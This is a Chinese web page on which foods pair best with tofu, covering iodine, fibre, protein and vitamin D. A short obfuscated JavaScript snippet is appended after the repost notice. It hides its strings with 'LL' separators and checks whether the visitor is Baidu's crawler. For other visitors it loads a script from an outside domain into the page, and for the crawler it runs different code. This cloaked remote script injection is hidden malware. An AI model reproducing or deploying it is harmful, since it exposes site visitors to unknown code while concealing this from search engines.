當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

豆腐和什么食物最搭配?

2015-11-12 17:14:17  來源:360常識網(wǎng)   熱度:
導(dǎo)語:如果在吃豆腐的同時加入一些蛋白質(zhì)質(zhì)量非常高的食物,就能和豆腐起到互補作用,使得豆腐的蛋白質(zhì)更好地被人體消化吸收利用。

豆腐和什么食物最搭配?

豆腐和什么食物最搭配?

豆腐和什么食物最搭配?

1、加海帶、紫菜,能多補碘

豆腐不但能補充營養(yǎng),還對預(yù)防動脈硬化有一定的食療作用。這是因為豆腐中含有一種叫皂苷的物質(zhì),能防止引起動脈硬化的氧化脂質(zhì)產(chǎn)生。但是皂苷卻會帶來一個麻煩,引起體內(nèi)碘排泄異常,如果長期食用可能導(dǎo)致碘缺乏。所以,吃豆腐時加點海帶、紫菜等含碘豐富的海產(chǎn)品一起做菜,就兩全其美了。

2、放青菜、木耳,更防病

豆腐雖然營養(yǎng)豐富,但膳食纖維缺乏,單獨吃可能帶來便秘的麻煩。而青菜和木耳中都含有豐富的膳食纖維,正好能彌補豆腐的這一缺點。另外,木耳和青菜還含有許多能提高免疫力、預(yù)防疾病的抗氧化成分,搭配豆腐食用,抗病作用更好。需要注意的是,菠菜、莧菜等綠葉蔬菜中的草酸含量較高。應(yīng)先焯一下,再和豆腐一起烹調(diào),以免影響豆腐中鈣的吸收。

3、配點肉,蛋白質(zhì)好吸收

大豆有“植物肉”的美譽,它是植物性食物中蛋白質(zhì)最優(yōu)秀的食品。用大豆做成的豆腐,蛋白質(zhì)也不會差。不過,豆腐中的蛋白質(zhì)氨基酸的含量和比例不是非常合理,也不是特別適合人體消化吸收。如果在吃豆腐的同時加入一些蛋白質(zhì)質(zhì)量非常高的食物,就能和豆腐起到互補作用,使得豆腐的蛋白質(zhì)更好地被人體消化吸收利用。而這些高質(zhì)量蛋白質(zhì)的食物,就非肉類和雞蛋莫屬了。因此,肉末燒豆腐、皮蛋拌豆腐等,都能讓其蛋白質(zhì)更好地吸收。

4、加蛋黃、血豆腐,鈣補得更多

就像吃鈣片的同時需要補充維生素D一樣,吃豆腐要補鈣,就要搭配一些維生素D豐富的食物。因為在鈣的吸收利用過程中,維生素D起著非常重要的作用。雖然豆腐含鈣非常豐富,北豆腐中的鈣比同量的牛奶還多,但在吃豆腐時,搭配維生素D含量豐富的食物才能更有效地發(fā)揮作用。蛋黃中含有豐富的維生素D,因此鮮美滑嫩的蛋黃豆腐是補鈣的優(yōu)秀菜肴。動物內(nèi)臟,如肝臟、血液中的維生素D含量也很高,所以將白豆腐和血豆腐一起做成“紅白豆腐”也非常理想。另外,雞胗、豬肝等動物內(nèi)臟也對增加豆腐的鈣吸收有很好的作用。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}